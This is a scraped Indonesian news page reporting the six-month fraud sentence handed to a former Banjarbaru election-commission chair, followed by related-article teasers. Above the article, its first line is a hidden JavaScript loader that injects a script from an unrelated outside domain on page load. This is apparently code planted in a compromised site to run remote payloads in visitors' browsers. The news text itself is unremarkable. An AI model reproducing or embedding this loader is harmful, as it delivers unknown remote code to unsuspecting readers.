(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Rozy Maulana, mantan Ketua KPU Banjarbaru dijatuhi vonis enam bulan penjara oleh hakim Pengadilan Negeri (PN) Batulicin, Rabu (4/9/2024).
Putusan ini lebih ringan dibandingkan tuntutan jaksa penuntut umum yang meminta pidana penjara selama sembilan bulan, dikurangi masa penangkapan dan penahanan yang telah dijalani terdakwa.
Diketahui sebelumnya, berkas perkara Rozy diserahkan ke PN Batulicin, dimana, perkara ini diterima PN Batulicin Rabu (24/7/2024) lalu. Sidang perdana kasus dugaan penggelapan uang miliaran rupiah tersebut digelar di PN Batulicin, pada Rabu (31/7/2024) dengan agenda pembacaan dakwaan. Sedangkan sidang kedua telah digelar pada hari Rabu (14/8/2024) lalu, dengan agenda pembuktian penuntut umum.
Selanjutnya, sidang ketiga digelar pada Rabu (21/8/2024) dengan agenda pembuktian penuntut umum dan pemeriksaan terdakwa dan sidang keempat digelar Rabu (28/8/2024) dengan agenda pembacaan tuntutan pidana, permohonan dari terdakwa.
Baca juga: Ekonom Faisal Basri Wafat, Kritis ke Pemerintah Pilihan Hidupnya
Pada sidang kelima pembacaan putusan, Rabu (4/9/2024) siang, Rozy dijatuhi vonis enam bulan penjara oleh hakim. Mantan Ketua KPU Banjarbaru tampak sujud di ruang sidang setelah mendengar amar putusan.
Jaksa penuntut umum dan penasihat hukum Rozy Maulana menyatakan menerima keputusan hakim tersebut. Berdasarkan informasi yang diperoleh dari laman (SIPP) PN Batulicin, Rozy didakwa melakukan penipuan dan penggelapan pada 7 Februari 2024. Rozy mengiming-imingi saksi korban dengan janji menaikkan perolehan suara calon legislatif yang diinginkan di Kota Banjarbaru dengan biaya sebesar Rp3,6 miliar.
Namun, pada 20 Maret 2024, setelah pemilu, perolehan suara calon legislatif yang dijanjikan jauh dari target, yaitu hanya 4.684 suara. Akibatnya, saksi korban mengalami kerugian materiil sebesar Rp3,6 Miliar
Jaksa menuntut Rozy dengan pasal 378 KUHP mengenai penipuan dan Rozy Maulana dijatuhi vonis enam bulan penjara, lebih rendah dari tuntutan jaksa. Sidang kali ini menandai akhir dari serangkaian persidangan yang melibatkan mantan Ketua KPU Kota Banjarbaru tersebut. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.